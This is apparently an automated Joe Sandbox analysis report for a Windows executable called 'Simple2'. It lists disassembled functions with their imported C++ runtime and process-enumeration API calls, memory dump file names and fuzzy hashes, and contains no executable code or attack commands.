??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA16E9
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA16F3

Part of subcall function 00007FF6D5CA9310: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CA935D
Part of subcall function 00007FF6D5CA9310: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6D5CA937D
Part of subcall function 00007FF6D5CA9310: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CA938D
Part of subcall function 00007FF6D5CA9310: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6D5CA93ED
Part of subcall function 00007FF6D5CA9310: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6D5CA9416
Part of subcall function 00007FF6D5CA9310: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6D5CA944D

Strings

~, xrefs: 00007FF6D5CA164F
_, xrefs: 00007FF6D5CA164A

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$?sputc@?$basic_streambuf@$??6?$basic_ostream@?good@ios_base@std@@V01@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@?flush@?$basic_ostream@_?setw@std@@D@std@@@1@_J@1@_Smanip@_U?$_U?$char_traits@_V12@V21@@V?$basic_streambuf@Vios_base@1@W@std@@@std@@isalnum
String ID: _$~
API String ID: 2365617078-3740536066
Opcode ID: a14253ab657007596ee1eb18ea39cbf631e03ff104c02efb61f706c9878d418d
Instruction ID: 861d53b3fa1e7163eb78006f81b5d590a4dcfc32daa7572d17900dd2c438ab5b
Opcode Fuzzy Hash: a14253ab657007596ee1eb18ea39cbf631e03ff104c02efb61f706c9878d418d
Instruction Fuzzy Hash: DC51403360894586EB10DF15E894AADBB70FB85B89F54403ADF4E83A64EF3CD855C700

Function 00007FF6D5CA8560 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6D5CA17F7), ref: 00007FF6D5CA85A0
??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6D5CA85BF
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA85F1
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6D5CA860C
?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z.MSVCP140 ref: 00007FF6D5CA8632
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6D5CA864F
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6D5CA8676
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z.MSVCP140 ref: 00007FF6D5CA869D
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF6D5CA86C1

Part of subcall function 00007FF6D5CA9AA0: ??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF6D5CA9ACD
Part of subcall function 00007FF6D5CA9AA0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF6D5CA9AE7
Part of subcall function 00007FF6D5CA9AA0: ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF6D5CA9B19
Part of subcall function 00007FF6D5CA9AA0: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF6D5CA9B44
Part of subcall function 00007FF6D5CA9AA0: std::_Facet_Register.LIBCPMT ref: 00007FF6D5CA9B5D
Part of subcall function 00007FF6D5CA9AA0: ??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF6D5CA9B7C

?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CA86D6
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6D5CA86ED
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6D5CA872B

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$Init@?$basic_streambuf@$Lockit@std@@$??0?$basic_ios@??0?$basic_istream@??0?$basic_streambuf@??0_??1_?always_noconv@codecvt_base@std@@?getloc@?$basic_streambuf@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@1@_Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@H001@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@_U_iobuf@@V42@@V?$basic_streambuf@Vfacet@locale@2@Vlocale@2@W@std@@@std@@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 3818078705-0
Opcode ID: f80c16aa7f3e35dcf50a6edced1f1c553555d42dd7a706662d9725effb48244f
Instruction ID: 4d1c7a3605f07cebc51064db15dac18c688401d3cc75b5f3eff910863bbdc02d
Opcode Fuzzy Hash: f80c16aa7f3e35dcf50a6edced1f1c553555d42dd7a706662d9725effb48244f
Instruction Fuzzy Hash: 5A51D332608B4586EB108F25E59066D7BB5FB89FD5F14442ADB8D83B24EF3CE865CB40

Function 00007FF6D5CA96F0 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CA976A
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6D5CA978A
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CA979A
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF6D5CA97E7
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF6D5CA9811
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF6D5CA9836
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6D5CA987D
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6D5CA9884
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6D5CA9891

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: f76aa2856fdbe99886ac723c8ffec56e959f383987e6da2831f890b10fbbf1f1
Instruction ID: dcb5a1b7c1940cfb4d9406bff605894cbe7dd39150d6db9ee800ad2fed7b0d4b
Opcode Fuzzy Hash: f76aa2856fdbe99886ac723c8ffec56e959f383987e6da2831f890b10fbbf1f1
Instruction Fuzzy Hash: 9B511C27609A4581EB218F1AE591A3DABB0FF84FD5F158536CE4EC7BA1DF39D8528300

Function 00007FF6D5CA94E0 Relevance: 13.6, APIs: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9559
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9579
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9589
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA95D6
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA95FD
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA961E
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9664
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA966B
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9678

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: 4edaa17dd7ad51bee8b47bfb92d09c61649fc27c2f4a9316c88697547ac0acde
Instruction ID: 295b5df2fe3e52e7056cd390dfd70466631e4e926368f98825e9e33ef2d03692
Opcode Fuzzy Hash: 4edaa17dd7ad51bee8b47bfb92d09c61649fc27c2f4a9316c88697547ac0acde
Instruction Fuzzy Hash: AC513133609A4181EB608F19E595A3DABB0FF85FD5B15C636CE5E83BA0DF39D8568300

Function 00007FF6D5CAAD00 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAAD6B
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAAD8B
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAAD9B
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAADE8
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAAE16
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAAE37
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAAE7E
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAAE85
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6D5CA1A49), ref: 00007FF6D5CAAE92

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: cb10e80f2af6a6ecea6bfc50fdf9e660d84334f5a54366d3bc9b5ef052e487fb
Instruction ID: a442f537b029e7e4c5428a00b2736e14e752369d4c12bdf0c12f4f015390193a
Opcode Fuzzy Hash: cb10e80f2af6a6ecea6bfc50fdf9e660d84334f5a54366d3bc9b5ef052e487fb
Instruction Fuzzy Hash: 3651F133A08A4586EB608F19D59063DABB0FF84FD5B15843BCE4E87B65DE3DD8668300

Function 00007FF6D5CA9310 Relevance: 13.6, APIs: 9, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CA935D
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6D5CA937D
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CA938D
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6D5CA93ED
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6D5CA9416
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6D5CA944D
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6D5CA9491
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6D5CA9498
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6D5CA94A5

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: ?sputc@?$basic_streambuf@D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 569342377-0
Opcode ID: 15a03189b274fb8324ea74e98fa5bbb580fa16b3cd8c430ff54d2bfccaf7f256
Instruction ID: f410437d5b5d6839ed520c89c1fa50cefd10a14193330da4ad95445faae25427
Opcode Fuzzy Hash: 15a03189b274fb8324ea74e98fa5bbb580fa16b3cd8c430ff54d2bfccaf7f256
Instruction Fuzzy Hash: 8D513F37609A8186EB108F59D5D063CABB0FB85FD5B158536CE5E87BA0CF38D866C600

Function 00007FF6D5CA3C40 Relevance: 13.6, APIs: 9, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140(?,?,?), ref: 00007FF6D5CA3C8B

Part of subcall function 00007FF6D5CA6390: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA63CA
Part of subcall function 00007FF6D5CA6390: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF6D5CA63E6
Part of subcall function 00007FF6D5CA6390: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA6418

K32EnumProcesses.KERNEL32(?,?,?), ref: 00007FF6D5CA3CA9
memset.VCRUNTIME140(?,?,?), ref: 00007FF6D5CA3D57
OpenProcess.KERNEL32(?,?,?), ref: 00007FF6D5CA3D66
K32EnumProcessModules.KERNEL32(?,?,?), ref: 00007FF6D5CA3D87
K32GetModuleBaseNameA.KERNEL32(?,?,?), ref: 00007FF6D5CA3DA6
CloseHandle.KERNELBASE(?,?,?), ref: 00007FF6D5CA3DCF
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?), ref: 00007FF6D5CA3E28
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?), ref: 00007FF6D5CA3E32

Part of subcall function 00007FF6D5CA9BB0: memcpy.VCRUNTIME140 ref: 00007FF6D5CA9BE8

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$EnumProcessmemset$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BaseCloseD@std@@@1@@HandleModuleModulesNameOpenProcessesV?$basic_streambuf@memcpy
String ID:
API String ID: 3444793848-0
Opcode ID: 001c237f97d5f8cac39dba6690658c1a24ce0538eeddbe328d7bd751e8db2459
Instruction ID: 5fde919a4d138625f9642afb9950ff13fee5553bebd51f47f2863d9db9de1fd5
Opcode Fuzzy Hash: 001c237f97d5f8cac39dba6690658c1a24ce0538eeddbe328d7bd751e8db2459
Instruction Fuzzy Hash: 9A514F33A18A8686EB20CB21E4509ED6B71FB85FC4F54403AEE4D93A58EF7CD955CB00

Function 00007FF6D5CAB5EC Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6D5CAB615
__scrt_release_startup_lock.LIBCMT ref: 00007FF6D5CAB683
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAB6D1
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAB6D6
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAB6DE
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAB6E6
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAB708
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAB762

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: b36050c3393a8da228e922bd9e4049c9505ee04a9bc4197bf93d5a9783a52870
Instruction ID: e2058735eac3eaad75dbfc75929e20a1e9d88003cac2f00a4315cb2871466254
Opcode Fuzzy Hash: b36050c3393a8da228e922bd9e4049c9505ee04a9bc4197bf93d5a9783a52870
Instruction Fuzzy Hash: 72313D27A0C54241FA14AB60A551BBD1BB1AFA1FC8F48443FED4DC7AD7DE6CAC64C610

Function 00007FF6D5CAA360 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6D5CAA454
memcpy.VCRUNTIME140 ref: 00007FF6D5CAA462
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAA49B
memcpy.VCRUNTIME140 ref: 00007FF6D5CAA4A5
memcpy.VCRUNTIME140 ref: 00007FF6D5CAA4B3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAA4E8

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: bf52cdc1c20b1d92f537715df61cc92b0a08cd28cb056f847da36b7d58a63efb
Instruction ID: 8a70a728f30f322c256f2cc5001f65ea180190a24197b282ecbaf359f4dd6a67
Opcode Fuzzy Hash: bf52cdc1c20b1d92f537715df61cc92b0a08cd28cb056f847da36b7d58a63efb
Instruction Fuzzy Hash: 5B41D663B0964281EA209B25A8086AD6B75FB08FD0F44463AEF5D8BF85DF3CD861C304

Function 00007FF6D5CA1000 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF6D5CA1011

Part of subcall function 00007FF6D5CAB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2

??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF6D5CA1086
?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF6D5CA10AB
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF6D5CA10BB
?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF6D5CA10CA
??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF6D5CA10DE

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: Locimp@locale@std@@$??0?$codecvt@_??4?$_Addfac@_Bid@locale@std@@D@std@@Init@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_V01@V123@V123@@Vfacet@23@_Yarn@malloc
String ID:
API String ID: 3292048638-0
Opcode ID: edea9241fc3f7b9b89f712dcf61b236231a61c741859b6b77d92b474176cc48b
Instruction ID: decfd7eeb7361c5f0f1dfc1cf79e5324f9c014977009eaf5460bf9a8167e56c1
Opcode Fuzzy Hash: edea9241fc3f7b9b89f712dcf61b236231a61c741859b6b77d92b474176cc48b
Instruction Fuzzy Hash: 9E41B42790DB4281EB00AB11F98466D77B5BB98FC5F05413ADE4E83B20EF3CA865C340

Function 00007FF6D5CA7590 Relevance: 4.7, APIs: 3, Instructions: 152COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA7783

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

